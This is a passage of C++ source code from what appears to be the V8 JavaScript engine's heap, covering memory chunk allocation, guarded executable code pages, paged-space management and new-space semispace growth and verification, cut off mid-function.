NewSpacePage* NewSpacePage::Initialize(Heap* heap, Address start,
SemiSpace* semi_space) {
Address area_start = start + NewSpacePage::kObjectStartOffset;
Address area_end = start + Page::kPageSize;
MemoryChunk* chunk =
MemoryChunk::Initialize(heap, start, Page::kPageSize, area_start,
area_end, NOT_EXECUTABLE, semi_space);
chunk->set_next_chunk(NULL);
chunk->set_prev_chunk(NULL);
chunk->initialize_scan_on_scavenge(true);
bool in_to_space = (semi_space->id() != kFromSpace);
chunk->SetFlag(in_to_space ? MemoryChunk::IN_TO_SPACE
: MemoryChunk::IN_FROM_SPACE);
DCHECK(!chunk->IsFlagSet(in_to_space ? MemoryChunk::IN_FROM_SPACE
: MemoryChunk::IN_TO_SPACE));
NewSpacePage* page = static_cast<NewSpacePage*>(chunk);
heap->incremental_marking()->SetNewSpacePageFlags(page);
return page;
}
void NewSpacePage::InitializeAsAnchor(SemiSpace* semi_space) {
set_owner(semi_space);
set_next_chunk(this);
set_prev_chunk(this);
// Flags marks this invalid page as not being in new-space.
// All real new-space pages will be in new-space.
SetFlags(0, ~0);
}
MemoryChunk* MemoryChunk::Initialize(Heap* heap, Address base, size_t size,
Address area_start, Address area_end,
Executability executable, Space* owner) {
MemoryChunk* chunk = FromAddress(base);
DCHECK(base == chunk->address());
chunk->heap_ = heap;
chunk->size_ = size;
chunk->area_start_ = area_start;
chunk->area_end_ = area_end;
chunk->flags_ = 0;
chunk->set_owner(owner);
chunk->InitializeReservedMemory();
chunk->slots_buffer_ = NULL;
chunk->skip_list_ = NULL;
chunk->write_barrier_counter_ = kWriteBarrierCounterGranularity;
chunk->progress_bar_ = 0;
chunk->high_water_mark_ = static_cast<int>(area_start - base);
chunk->set_parallel_sweeping(SWEEPING_DONE);
chunk->available_in_small_free_list_ = 0;
chunk->available_in_medium_free_list_ = 0;
chunk->available_in_large_free_list_ = 0;
chunk->available_in_huge_free_list_ = 0;
chunk->non_available_small_blocks_ = 0;
chunk->ResetLiveBytes();
Bitmap::Clear(chunk);
chunk->initialize_scan_on_scavenge(false);
chunk->SetFlag(WAS_SWEPT);
DCHECK(OFFSET_OF(MemoryChunk, flags_) == kFlagsOffset);
DCHECK(OFFSET_OF(MemoryChunk, live_byte_count_) == kLiveBytesOffset);
if (executable == EXECUTABLE) {
chunk->SetFlag(IS_EXECUTABLE);
}
return chunk;
}
// Commit MemoryChunk area to the requested size.
bool MemoryChunk::CommitArea(size_t requested) {
size_t guard_size =
IsFlagSet(IS_EXECUTABLE) ? MemoryAllocator::CodePageGuardSize() : 0;
size_t header_size = area_start() - address() - guard_size;
size_t commit_size =
RoundUp(header_size + requested, base::OS::CommitPageSize());
size_t committed_size = RoundUp(header_size + (area_end() - area_start()),
base::OS::CommitPageSize());
if (commit_size > committed_size) {
// Commit size should be less or equal than the reserved size.
DCHECK(commit_size <= size() - 2 * guard_size);
// Append the committed area.
Address start = address() + committed_size + guard_size;
size_t length = commit_size - committed_size;
if (reservation_.IsReserved()) {
Executability executable =
IsFlagSet(IS_EXECUTABLE) ? EXECUTABLE : NOT_EXECUTABLE;
if (!heap()->isolate()->memory_allocator()->CommitMemory(start, length,
executable)) {
return false;
}
} else {
CodeRange* code_range = heap_->isolate()->code_range();
DCHECK(code_range != NULL && code_range->valid() &&
IsFlagSet(IS_EXECUTABLE));
if (!code_range->CommitRawMemory(start, length)) return false;
}
if (Heap::ShouldZapGarbage()) {
heap_->isolate()->memory_allocator()->ZapBlock(start, length);
}
} else if (commit_size < committed_size) {
DCHECK(commit_size > 0);
// Shrink the committed area.
size_t length = committed_size - commit_size;
Address start = address() + committed_size + guard_size - length;
if (reservation_.IsReserved()) {
if (!reservation_.Uncommit(start, length)) return false;
} else {
CodeRange* code_range = heap_->isolate()->code_range();
DCHECK(code_range != NULL && code_range->valid() &&
IsFlagSet(IS_EXECUTABLE));
if (!code_range->UncommitRawMemory(start, length)) return false;
}
}
area_end_ = area_start_ + requested;
return true;
}
void MemoryChunk::InsertAfter(MemoryChunk* other) {
MemoryChunk* other_next = other->next_chunk();
set_next_chunk(other_next);
set_prev_chunk(other);
other_next->set_prev_chunk(this);
other->set_next_chunk(this);
}
void MemoryChunk::Unlink() {
MemoryChunk* next_element = next_chunk();
MemoryChunk* prev_element = prev_chunk();
next_element->set_prev_chunk(prev_element);
prev_element->set_next_chunk(next_element);
set_prev_chunk(NULL);
set_next_chunk(NULL);
}
MemoryChunk* MemoryAllocator::AllocateChunk(intptr_t reserve_area_size,
intptr_t commit_area_size,
Executability executable,
Space* owner) {
DCHECK(commit_area_size <= reserve_area_size);
size_t chunk_size;
Heap* heap = isolate_->heap();
Address base = NULL;
base::VirtualMemory reservation;
Address area_start = NULL;
Address area_end = NULL;
//
// MemoryChunk layout:
//
// Executable
// +----------------------------+<- base aligned with MemoryChunk::kAlignment
// | Header |
// +----------------------------+<- base + CodePageGuardStartOffset
// | Guard |
// +----------------------------+<- area_start_
// | Area |
// +----------------------------+<- area_end_ (area_start + commit_area_size)
// | Committed but not used |
// +----------------------------+<- aligned at OS page boundary
// | Reserved but not committed |
// +----------------------------+<- aligned at OS page boundary
// | Guard |
// +----------------------------+<- base + chunk_size
//
// Non-executable
// +----------------------------+<- base aligned with MemoryChunk::kAlignment
// | Header |
// +----------------------------+<- area_start_ (base + kObjectStartOffset)
// | Area |
// +----------------------------+<- area_end_ (area_start + commit_area_size)
// | Committed but not used |
// +----------------------------+<- aligned at OS page boundary
// | Reserved but not committed |
// +----------------------------+<- base + chunk_size
//
if (executable == EXECUTABLE) {
chunk_size = RoundUp(CodePageAreaStartOffset() + reserve_area_size,
base::OS::CommitPageSize()) +
CodePageGuardSize();
// Check executable memory limit.
if (size_executable_ + chunk_size > capacity_executable_) {
LOG(isolate_, StringEvent("MemoryAllocator::AllocateRawMemory",
"V8 Executable Allocation capacity exceeded"));
return NULL;
}
// Size of header (not executable) plus area (executable).
size_t commit_size = RoundUp(CodePageGuardStartOffset() + commit_area_size,
base::OS::CommitPageSize());
// Allocate executable memory either from code range or from the
// OS.
#ifdef V8_TARGET_ARCH_MIPS64
// Use code range only for large object space on mips64 to keep address
// range within 256-MB memory region.
if (isolate_->code_range() != NULL && isolate_->code_range()->valid() &&
reserve_area_size > CodePageAreaSize()) {
#else
if (isolate_->code_range() != NULL && isolate_->code_range()->valid()) {
#endif
base = isolate_->code_range()->AllocateRawMemory(chunk_size, commit_size,
&chunk_size);
DCHECK(
IsAligned(reinterpret_cast<intptr_t>(base), MemoryChunk::kAlignment));
if (base == NULL) return NULL;
size_ += chunk_size;
// Update executable memory size.
size_executable_ += chunk_size;
} else {
base = AllocateAlignedMemory(chunk_size, commit_size,
MemoryChunk::kAlignment, executable,
&reservation);
if (base == NULL) return NULL;
// Update executable memory size.
size_executable_ += reservation.size();
}
if (Heap::ShouldZapGarbage()) {
ZapBlock(base, CodePageGuardStartOffset());
ZapBlock(base + CodePageAreaStartOffset(), commit_area_size);
}
area_start = base + CodePageAreaStartOffset();
area_end = area_start + commit_area_size;
} else {
chunk_size = RoundUp(MemoryChunk::kObjectStartOffset + reserve_area_size,
base::OS::CommitPageSize());
size_t commit_size =
RoundUp(MemoryChunk::kObjectStartOffset + commit_area_size,
base::OS::CommitPageSize());
base =
AllocateAlignedMemory(chunk_size, commit_size, MemoryChunk::kAlignment,
executable, &reservation);
if (base == NULL) return NULL;
if (Heap::ShouldZapGarbage()) {
ZapBlock(base, Page::kObjectStartOffset + commit_area_size);
}
area_start = base + Page::kObjectStartOffset;
area_end = area_start + commit_area_size;
}
// Use chunk_size for statistics and callbacks because we assume that they
// treat reserved but not-yet committed memory regions of chunks as allocated.
isolate_->counters()->memory_allocated()->Increment(
static_cast<int>(chunk_size));
LOG(isolate_, NewEvent("MemoryChunk", base, chunk_size));
if (owner != NULL) {
ObjectSpace space = static_cast<ObjectSpace>(1 << owner->identity());
PerformAllocationCallback(space, kAllocationActionAllocate, chunk_size);
}
MemoryChunk* result = MemoryChunk::Initialize(
heap, base, chunk_size, area_start, area_end, executable, owner);
result->set_reserved_memory(&reservation);
return result;
}
void Page::ResetFreeListStatistics() {
non_available_small_blocks_ = 0;
available_in_small_free_list_ = 0;
available_in_medium_free_list_ = 0;
available_in_large_free_list_ = 0;
available_in_huge_free_list_ = 0;
}
Page* MemoryAllocator::AllocatePage(intptr_t size, PagedSpace* owner,
Executability executable) {
MemoryChunk* chunk = AllocateChunk(size, size, executable, owner);
if (chunk == NULL) return NULL;
return Page::Initialize(isolate_->heap(), chunk, executable, owner);
}
LargePage* MemoryAllocator::AllocateLargePage(intptr_t object_size,
Space* owner,
Executability executable) {
MemoryChunk* chunk =
AllocateChunk(object_size, object_size, executable, owner);
if (chunk == NULL) return NULL;
return LargePage::Initialize(isolate_->heap(), chunk);
}
void MemoryAllocator::Free(MemoryChunk* chunk) {
LOG(isolate_, DeleteEvent("MemoryChunk", chunk));
if (chunk->owner() != NULL) {
ObjectSpace space =
static_cast<ObjectSpace>(1 << chunk->owner()->identity());
PerformAllocationCallback(space, kAllocationActionFree, chunk->size());
}
isolate_->heap()->RememberUnmappedPage(reinterpret_cast<Address>(chunk),
chunk->IsEvacuationCandidate());
delete chunk->slots_buffer();
delete chunk->skip_list();
base::VirtualMemory* reservation = chunk->reserved_memory();
if (reservation->IsReserved()) {
FreeMemory(reservation, chunk->executable());
} else {
FreeMemory(chunk->address(), chunk->size(), chunk->executable());
}
}
bool MemoryAllocator::CommitBlock(Address start, size_t size,
Executability executable) {
if (!CommitMemory(start, size, executable)) return false;
if (Heap::ShouldZapGarbage()) {
ZapBlock(start, size);
}
isolate_->counters()->memory_allocated()->Increment(static_cast<int>(size));
return true;
}
bool MemoryAllocator::UncommitBlock(Address start, size_t size) {
if (!base::VirtualMemory::UncommitRegion(start, size)) return false;
isolate_->counters()->memory_allocated()->Decrement(static_cast<int>(size));
return true;
}
void MemoryAllocator::ZapBlock(Address start, size_t size) {
for (size_t s = 0; s + kPointerSize <= size; s += kPointerSize) {
Memory::Address_at(start + s) = kZapValue;
}
}
void MemoryAllocator::PerformAllocationCallback(ObjectSpace space,
AllocationAction action,
size_t size) {
for (int i = 0; i < memory_allocation_callbacks_.length(); ++i) {
MemoryAllocationCallbackRegistration registration =
memory_allocation_callbacks_[i];
if ((registration.space & space) == space &&
(registration.action & action) == action)
registration.callback(space, action, static_cast<int>(size));
}
}
bool MemoryAllocator::MemoryAllocationCallbackRegistered(
MemoryAllocationCallback callback) {
for (int i = 0; i < memory_allocation_callbacks_.length(); ++i) {
if (memory_allocation_callbacks_[i].callback == callback) return true;
}
return false;
}
void MemoryAllocator::AddMemoryAllocationCallback(
MemoryAllocationCallback callback, ObjectSpace space,
AllocationAction action) {
DCHECK(callback != NULL);
MemoryAllocationCallbackRegistration registration(callback, space, action);
DCHECK(!MemoryAllocator::MemoryAllocationCallbackRegistered(callback));
return memory_allocation_callbacks_.Add(registration);
}
void MemoryAllocator::RemoveMemoryAllocationCallback(
MemoryAllocationCallback callback) {
DCHECK(callback != NULL);
for (int i = 0; i < memory_allocation_callbacks_.length(); ++i) {
if (memory_allocation_callbacks_[i].callback == callback) {
memory_allocation_callbacks_.Remove(i);
return;
}
}
UNREACHABLE();
}
#ifdef DEBUG
void MemoryAllocator::ReportStatistics() {
float pct = static_cast<float>(capacity_ - size_) / capacity_;
PrintF(" capacity: %" V8_PTR_PREFIX
"d"
", used: %" V8_PTR_PREFIX
"d"
", available: %%%d\n\n",
capacity_, size_, static_cast<int>(pct * 100));
}
#endif
int MemoryAllocator::CodePageGuardStartOffset() {
// We are guarding code pages: the first OS page after the header
// will be protected as non-writable.
return RoundUp(Page::kObjectStartOffset, base::OS::CommitPageSize());
}
int MemoryAllocator::CodePageGuardSize() {
return static_cast<int>(base::OS::CommitPageSize());
}
int MemoryAllocator::CodePageAreaStartOffset() {
// We are guarding code pages: the first OS page after the header
// will be protected as non-writable.
return CodePageGuardStartOffset() + CodePageGuardSize();
}
int MemoryAllocator::CodePageAreaEndOffset() {
// We are guarding code pages: the last OS page will be protected as
// non-writable.
return Page::kPageSize - static_cast<int>(base::OS::CommitPageSize());
}
bool MemoryAllocator::CommitExecutableMemory(base::VirtualMemory* vm,
Address start, size_t commit_size,
size_t reserved_size) {
// Commit page header (not executable).
Address header = start;
size_t header_size = CodePageGuardStartOffset();
if (vm->Commit(header, header_size, false)) {
// Create guard page after the header.
if (vm->Guard(start + CodePageGuardStartOffset())) {
// Commit page body (executable).
Address body = start + CodePageAreaStartOffset();
size_t body_size = commit_size - CodePageGuardStartOffset();
if (vm->Commit(body, body_size, true)) {
// Create guard page before the end.
if (vm->Guard(start + reserved_size - CodePageGuardSize())) {
UpdateAllocatedSpaceLimits(start, start + CodePageAreaStartOffset() +
commit_size -
CodePageGuardStartOffset());
return true;
}
vm->Uncommit(body, body_size);
}
}
vm->Uncommit(header, header_size);
}
return false;
}
// -----------------------------------------------------------------------------
// MemoryChunk implementation
void MemoryChunk::IncrementLiveBytesFromMutator(Address address, int by) {
MemoryChunk* chunk = MemoryChunk::FromAddress(address);
if (!chunk->InNewSpace() && !static_cast<Page*>(chunk)->WasSwept()) {
static_cast<PagedSpace*>(chunk->owner())->IncrementUnsweptFreeBytes(-by);
}
chunk->IncrementLiveBytes(by);
}
// -----------------------------------------------------------------------------
// PagedSpace implementation
STATIC_ASSERT(static_cast<ObjectSpace>(1 << AllocationSpace::NEW_SPACE) ==
ObjectSpace::kObjectSpaceNewSpace);
STATIC_ASSERT(static_cast<ObjectSpace>(1 << AllocationSpace::OLD_SPACE) ==
ObjectSpace::kObjectSpaceOldSpace);
STATIC_ASSERT(static_cast<ObjectSpace>(1 << AllocationSpace::CODE_SPACE) ==
ObjectSpace::kObjectSpaceCodeSpace);
STATIC_ASSERT(static_cast<ObjectSpace>(1 << AllocationSpace::MAP_SPACE) ==
ObjectSpace::kObjectSpaceMapSpace);
PagedSpace::PagedSpace(Heap* heap, intptr_t max_capacity, AllocationSpace space,
Executability executable)
: Space(heap, space, executable),
free_list_(this),
unswept_free_bytes_(0),
end_of_unswept_pages_(NULL),
emergency_memory_(NULL) {
area_size_ = MemoryAllocator::PageAreaSize(space);
max_capacity_ =
(RoundDown(max_capacity, Page::kPageSize) / Page::kPageSize) * AreaSize();
accounting_stats_.Clear();
allocation_info_.set_top(NULL);
allocation_info_.set_limit(NULL);
anchor_.InitializeAsAnchor(this);
}
bool PagedSpace::SetUp() { return true; }
bool PagedSpace::HasBeenSetUp() { return true; }
void PagedSpace::TearDown() {
PageIterator iterator(this);
while (iterator.has_next()) {
heap()->isolate()->memory_allocator()->Free(iterator.next());
}
anchor_.set_next_page(&anchor_);
anchor_.set_prev_page(&anchor_);
accounting_stats_.Clear();
}
size_t PagedSpace::CommittedPhysicalMemory() {
if (!base::VirtualMemory::HasLazyCommits()) return CommittedMemory();
MemoryChunk::UpdateHighWaterMark(allocation_info_.top());
size_t size = 0;
PageIterator it(this);
while (it.has_next()) {
size += it.next()->CommittedPhysicalMemory();
}
return size;
}
bool PagedSpace::ContainsSafe(Address addr) {
Page* p = Page::FromAddress(addr);
PageIterator iterator(this);
while (iterator.has_next()) {
if (iterator.next() == p) return true;
}
return false;
}
Object* PagedSpace::FindObject(Address addr) {
// Note: this function can only be called on iterable spaces.
DCHECK(!heap()->mark_compact_collector()->in_use());
if (!Contains(addr)) return Smi::FromInt(0); // Signaling not found.
Page* p = Page::FromAddress(addr);
HeapObjectIterator it(p, NULL);
for (HeapObject* obj = it.Next(); obj != NULL; obj = it.Next()) {
Address cur = obj->address();
Address next = cur + obj->Size();
if ((cur <= addr) && (addr < next)) return obj;
}
UNREACHABLE();
return Smi::FromInt(0);
}
bool PagedSpace::CanExpand() {
DCHECK(max_capacity_ % AreaSize() == 0);
DCHECK(heap()->mark_compact_collector()->is_compacting() ||
Capacity() <= heap()->MaxOldGenerationSize());
DCHECK(heap()->CommittedOldGenerationMemory() <=
heap()->MaxOldGenerationSize() +
PagedSpace::MaxEmergencyMemoryAllocated());
// Are we going to exceed capacity for this space?
if (!heap()->CanExpandOldGeneration(Page::kPageSize)) return false;
return true;
}
bool PagedSpace::Expand() {
if (!CanExpand()) return false;
intptr_t size = AreaSize();
if (anchor_.next_page() == &anchor_) {
size = Snapshot::SizeOfFirstPage(heap()->isolate(), identity());
}
Page* p = heap()->isolate()->memory_allocator()->AllocatePage(size, this,
executable());
if (p == NULL) return false;
// Pages created during bootstrapping may contain immortal immovable objects.
if (!heap()->deserialization_complete()) p->MarkNeverEvacuate();
DCHECK(Capacity() <= heap()->MaxOldGenerationSize());
DCHECK(heap()->CommittedOldGenerationMemory() <=
heap()->MaxOldGenerationSize() +
PagedSpace::MaxEmergencyMemoryAllocated());
p->InsertAfter(anchor_.prev_page());
return true;
}
int PagedSpace::CountTotalPages() {
PageIterator it(this);
int count = 0;
while (it.has_next()) {
it.next();
count++;
}
return count;
}
void PagedSpace::ResetFreeListStatistics() {
PageIterator page_iterator(this);
while (page_iterator.has_next()) {
Page* page = page_iterator.next();
page->ResetFreeListStatistics();
}
}
void PagedSpace::IncreaseCapacity(int size) {
accounting_stats_.ExpandSpace(size);
}
void PagedSpace::ReleasePage(Page* page) {
DCHECK(page->LiveBytes() == 0);
DCHECK(AreaSize() == page->area_size());
if (page->WasSwept()) {
intptr_t size = free_list_.EvictFreeListItems(page);
accounting_stats_.AllocateBytes(size);
DCHECK_EQ(AreaSize(), static_cast<int>(size));
} else {
DecreaseUnsweptFreeBytes(page);
}
if (page->IsFlagSet(MemoryChunk::SCAN_ON_SCAVENGE)) {
heap()->decrement_scan_on_scavenge_pages();
page->ClearFlag(MemoryChunk::SCAN_ON_SCAVENGE);
}
DCHECK(!free_list_.ContainsPageFreeListItems(page));
if (Page::FromAllocationTop(allocation_info_.top()) == page) {
allocation_info_.set_top(NULL);
allocation_info_.set_limit(NULL);
}
// If page is still in a list, unlink it from that list.
if (page->next_chunk() != NULL) {
DCHECK(page->prev_chunk() != NULL);
page->Unlink();
}
heap()->QueueMemoryChunkForFree(page);
DCHECK(Capacity() > 0);
accounting_stats_.ShrinkSpace(AreaSize());
}
intptr_t PagedSpace::MaxEmergencyMemoryAllocated() {
// New space and large object space.
static const int spaces_without_emergency_memory = 2;
static const int spaces_with_emergency_memory =
LAST_SPACE - FIRST_SPACE + 1 - spaces_without_emergency_memory;
return Page::kPageSize * spaces_with_emergency_memory;
}
void PagedSpace::CreateEmergencyMemory() {
if (identity() == CODE_SPACE) {
// Make the emergency block available to the allocator.
CodeRange* code_range = heap()->isolate()->code_range();
if (code_range != NULL && code_range->valid()) {
code_range->ReleaseEmergencyBlock();
}
DCHECK(MemoryAllocator::CodePageAreaSize() == AreaSize());
}
emergency_memory_ = heap()->isolate()->memory_allocator()->AllocateChunk(
AreaSize(), AreaSize(), executable(), this);
}
void PagedSpace::FreeEmergencyMemory() {
Page* page = static_cast<Page*>(emergency_memory_);
DCHECK(page->LiveBytes() == 0);
DCHECK(AreaSize() == page->area_size());
DCHECK(!free_list_.ContainsPageFreeListItems(page));
heap()->isolate()->memory_allocator()->Free(page);
emergency_memory_ = NULL;
}
void PagedSpace::UseEmergencyMemory() {
// Page::Initialize makes the chunk into a real page and adds it to the
// accounting for this space. Unlike PagedSpace::Expand, we don't check
// CanExpand first, so we can go over the limits a little here. That's OK,
// because we are in the process of compacting which will free up at least as
// much memory as it allocates.
Page* page = Page::Initialize(heap(), emergency_memory_, executable(), this);
page->InsertAfter(anchor_.prev_page());
emergency_memory_ = NULL;
}
#ifdef DEBUG
void PagedSpace::Print() {}
#endif
#ifdef VERIFY_HEAP
void PagedSpace::Verify(ObjectVisitor* visitor) {
bool allocation_pointer_found_in_space =
(allocation_info_.top() == allocation_info_.limit());
PageIterator page_iterator(this);
while (page_iterator.has_next()) {
Page* page = page_iterator.next();
CHECK(page->owner() == this);
if (page == Page::FromAllocationTop(allocation_info_.top())) {
allocation_pointer_found_in_space = true;
}
CHECK(page->WasSwept());
HeapObjectIterator it(page, NULL);
Address end_of_previous_object = page->area_start();
Address top = page->area_end();
int black_size = 0;
for (HeapObject* object = it.Next(); object != NULL; object = it.Next()) {
CHECK(end_of_previous_object <= object->address());
// The first word should be a map, and we expect all map pointers to
// be in map space.
Map* map = object->map();
CHECK(map->IsMap());
CHECK(heap()->map_space()->Contains(map));
// Perform space-specific object verification.
VerifyObject(object);
// The object itself should look OK.
object->ObjectVerify();
// All the interior pointers should be contained in the heap.
int size = object->Size();
object->IterateBody(map->instance_type(), size, visitor);
if (Marking::IsBlack(Marking::MarkBitFrom(object))) {
black_size += size;
}
CHECK(object->address() + size <= top);
end_of_previous_object = object->address() + size;
}
CHECK_LE(black_size, page->LiveBytes());
}
CHECK(allocation_pointer_found_in_space);
}
#endif // VERIFY_HEAP
// -----------------------------------------------------------------------------
// NewSpace implementation
bool NewSpace::SetUp(int reserved_semispace_capacity,
int maximum_semispace_capacity) {
// Set up new space based on the preallocated memory block defined by
// start and size. The provided space is divided into two semi-spaces.
// To support fast containment testing in the new space, the size of
// this chunk must be a power of two and it must be aligned to its size.
int initial_semispace_capacity = heap()->InitialSemiSpaceSize();
int target_semispace_capacity = heap()->TargetSemiSpaceSize();
size_t size = 2 * reserved_semispace_capacity;
Address base = heap()->isolate()->memory_allocator()->ReserveAlignedMemory(
size, size, &reservation_);
if (base == NULL) return false;
chunk_base_ = base;
chunk_size_ = static_cast<uintptr_t>(size);
LOG(heap()->isolate(), NewEvent("InitialChunk", chunk_base_, chunk_size_));
DCHECK(initial_semispace_capacity <= maximum_semispace_capacity);
DCHECK(base::bits::IsPowerOfTwo32(maximum_semispace_capacity));
// Allocate and set up the histogram arrays if necessary.
allocated_histogram_ = NewArray<HistogramInfo>(LAST_TYPE + 1);
promoted_histogram_ = NewArray<HistogramInfo>(LAST_TYPE + 1);
#define SET_NAME(name) \
allocated_histogram_[name].set_name(#name); \
promoted_histogram_[name].set_name(#name);
INSTANCE_TYPE_LIST(SET_NAME)
#undef SET_NAME
DCHECK(reserved_semispace_capacity == heap()->ReservedSemiSpaceSize());
DCHECK(static_cast<intptr_t>(chunk_size_) >=
2 * heap()->ReservedSemiSpaceSize());
DCHECK(IsAddressAligned(chunk_base_, 2 * reserved_semispace_capacity, 0));
to_space_.SetUp(chunk_base_, initial_semispace_capacity,
target_semispace_capacity, maximum_semispace_capacity);
from_space_.SetUp(chunk_base_ + reserved_semispace_capacity,
initial_semispace_capacity, target_semispace_capacity,
maximum_semispace_capacity);
if (!to_space_.Commit()) {
return false;
}
DCHECK(!from_space_.is_committed()); // No need to use memory yet.
start_ = chunk_base_;
address_mask_ = ~(2 * reserved_semispace_capacity - 1);
object_mask_ = address_mask_ | kHeapObjectTagMask;
object_expected_ = reinterpret_cast<uintptr_t>(start_) | kHeapObjectTag;
ResetAllocationInfo();
return true;
}
void NewSpace::TearDown() {
if (allocated_histogram_) {
DeleteArray(allocated_histogram_);
allocated_histogram_ = NULL;
}
if (promoted_histogram_) {
DeleteArray(promoted_histogram_);
promoted_histogram_ = NULL;
}
start_ = NULL;
allocation_info_.set_top(NULL);
allocation_info_.set_limit(NULL);
to_space_.TearDown();
from_space_.TearDown();
LOG(heap()->isolate(), DeleteEvent("InitialChunk", chunk_base_));
DCHECK(reservation_.IsReserved());
heap()->isolate()->memory_allocator()->FreeMemory(&reservation_,
NOT_EXECUTABLE);
chunk_base_ = NULL;
chunk_size_ = 0;
}
void NewSpace::Flip() { SemiSpace::Swap(&from_space_, &to_space_); }
void NewSpace::Grow() {
// Double the semispace size but only up to maximum capacity.
DCHECK(TotalCapacity() < MaximumCapacity());
int new_capacity =
Min(MaximumCapacity(),
FLAG_semi_space_growth_factor * static_cast<int>(TotalCapacity()));
if (to_space_.GrowTo(new_capacity)) {
// Only grow from space if we managed to grow to-space.
if (!from_space_.GrowTo(new_capacity)) {
// If we managed to grow to-space but couldn't grow from-space,
// attempt to shrink to-space.
if (!to_space_.ShrinkTo(from_space_.TotalCapacity())) {
// We are in an inconsistent state because we could not
// commit/uncommit memory from new space.
CHECK(false);
}
}
}
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
}
bool NewSpace::GrowOnePage() {
if (TotalCapacity() == MaximumCapacity()) return false;
int new_capacity = static_cast<int>(TotalCapacity()) + Page::kPageSize;
if (to_space_.GrowTo(new_capacity)) {
// Only grow from space if we managed to grow to-space and the from space
// is actually committed.
if (from_space_.is_committed()) {
if (!from_space_.GrowTo(new_capacity)) {
// If we managed to grow to-space but couldn't grow from-space,
// attempt to shrink to-space.
if (!to_space_.ShrinkTo(from_space_.TotalCapacity())) {
// We are in an inconsistent state because we could not
// commit/uncommit memory from new space.
CHECK(false);
}
return false;
}
} else {
if (!from_space_.SetTotalCapacity(new_capacity)) {
// Can't really happen, but better safe than sorry.
CHECK(false);
}
}
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
return true;
}
return false;
}
void NewSpace::Shrink() {
int new_capacity = Max(InitialTotalCapacity(), 2 * SizeAsInt());
int rounded_new_capacity = RoundUp(new_capacity, Page::kPageSize);
if (rounded_new_capacity < TotalCapacity() &&
to_space_.ShrinkTo(rounded_new_capacity)) {
// Only shrink from-space if we managed to shrink to-space.
from_space_.Reset();
if (!from_space_.ShrinkTo(rounded_new_capacity)) {
// If we managed to shrink to-space but couldn't shrink from
// space, attempt to grow to-space again.
if (!to_space_.GrowTo(from_space_.TotalCapacity())) {
// We are in an inconsistent state because we could not
// commit/uncommit memory from new space.
CHECK(false);
}
}
}
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
}
void NewSpace::UpdateAllocationInfo() {
MemoryChunk::UpdateHighWaterMark(allocation_info_.top());
allocation_info_.set_top(to_space_.page_low());
allocation_info_.set_limit(to_space_.page_high());
UpdateInlineAllocationLimit(0);
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
}
void NewSpace::ResetAllocationInfo() {
to_space_.Reset();
UpdateAllocationInfo();
pages_used_ = 0;
// Clear all mark-bits in the to-space.
NewSpacePageIterator it(&to_space_);
while (it.has_next()) {
Bitmap::Clear(it.next());
}
}
void NewSpace::UpdateInlineAllocationLimit(int size_in_bytes) {
if (heap()->inline_allocation_disabled()) {
// Lowest limit when linear allocation was disabled.
Address high = to_space_.page_high();
Address new_top = allocation_info_.top() + size_in_bytes;
allocation_info_.set_limit(Min(new_top, high));
} else if (inline_allocation_limit_step() == 0) {
// Normal limit is the end of the current page.
allocation_info_.set_limit(to_space_.page_high());
} else {
// Lower limit during incremental marking.
Address high = to_space_.page_high();
Address new_top = allocation_info_.top() + size_in_bytes;
Address new_limit = new_top + inline_allocation_limit_step_;
allocation_info_.set_limit(Min(new_limit, high));
}
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
}
bool NewSpace::AddFreshPage() {
Address top = allocation_info_.top();
if (NewSpacePage::IsAtStart(top)) {
// The current page is already empty. Don't try to make another.
// We should only get here if someone asks to allocate more
// than what can be stored in a single page.
// TODO(gc): Change the limit on new-space allocation to prevent this
// from happening (all such allocations should go directly to LOSpace).
return false;
}
if (!to_space_.AdvancePage()) {
// Check if we reached the target capacity yet. If not, try to commit a page
// and continue.
if ((to_space_.TotalCapacity() < to_space_.TargetCapacity()) &&
GrowOnePage()) {
if (!to_space_.AdvancePage()) {
// It doesn't make sense that we managed to commit a page, but can't use
// it.
CHECK(false);
}
} else {
// Failed to get a new page in to-space.
return false;
}
}
// Clear remainder of current page.
Address limit = NewSpacePage::FromLimit(top)->area_end();
if (heap()->gc_state() == Heap::SCAVENGE) {
heap()->promotion_queue()->SetNewLimit(limit);
}
int remaining_in_page = static_cast<int>(limit - top);
heap()->CreateFillerObjectAt(top, remaining_in_page);
pages_used_++;
UpdateAllocationInfo();
return true;
}
AllocationResult NewSpace::SlowAllocateRaw(int size_in_bytes,
AllocationAlignment alignment) {
Address old_top = allocation_info_.top();
Address high = to_space_.page_high();
if (allocation_info_.limit() < high) {
int alignment_size = Heap::GetFillToAlign(old_top, alignment);
int aligned_size_in_bytes = size_in_bytes + alignment_size;
// Either the limit has been lowered because linear allocation was disabled
// or because incremental marking wants to get a chance to do a step. Set
// the new limit accordingly.
Address new_top = old_top + aligned_size_in_bytes;
int bytes_allocated = static_cast<int>(new_top - top_on_previous_step_);
heap()->incremental_marking()->Step(bytes_allocated,
IncrementalMarking::GC_VIA_STACK_GUARD);
UpdateInlineAllocationLimit(aligned_size_in_bytes);
top_on_previous_step_ = new_top;
if (alignment == kWordAligned) return AllocateRawUnaligned(size_in_bytes);
return AllocateRawAligned(size_in_bytes, alignment);
} else if (AddFreshPage()) {
// Switched to new page. Try allocating again.
int bytes_allocated = static_cast<int>(old_top - top_on_previous_step_);
heap()->incremental_marking()->Step(bytes_allocated,
IncrementalMarking::GC_VIA_STACK_GUARD);
top_on_previous_step_ = to_space_.page_low();
if (alignment == kWordAligned) return AllocateRawUnaligned(size_in_bytes);
return AllocateRawAligned(size_in_bytes, alignment);
} else {
return AllocationResult::Retry();
}
}
#ifdef VERIFY_HEAP
// We do not use the SemiSpaceIterator because verification doesn't assume
// that it works (it depends on the invariants we are checking).
void NewSpace::Verify() {
// The allocation pointer should be in the space or at the very end.
DCHECK_SEMISPACE_ALLOCATION_INFO(allocation_info_, to_space_);
// There should be objects packed in from the low address up to the
// allocation pointer.
Address current = to_space_.first_page()->area_start();
CHECK_EQ(current, to_space_.space_start());
while (current != top()) {
if (!NewSpacePage::IsAtEnd(current)) {
// The allocation pointer should not be in the middle of an object.
CHECK(!NewSpacePage::FromLimit(current)->ContainsLimit(top()) ||
current < top());
HeapObject* object = HeapObject::FromAddress(current);
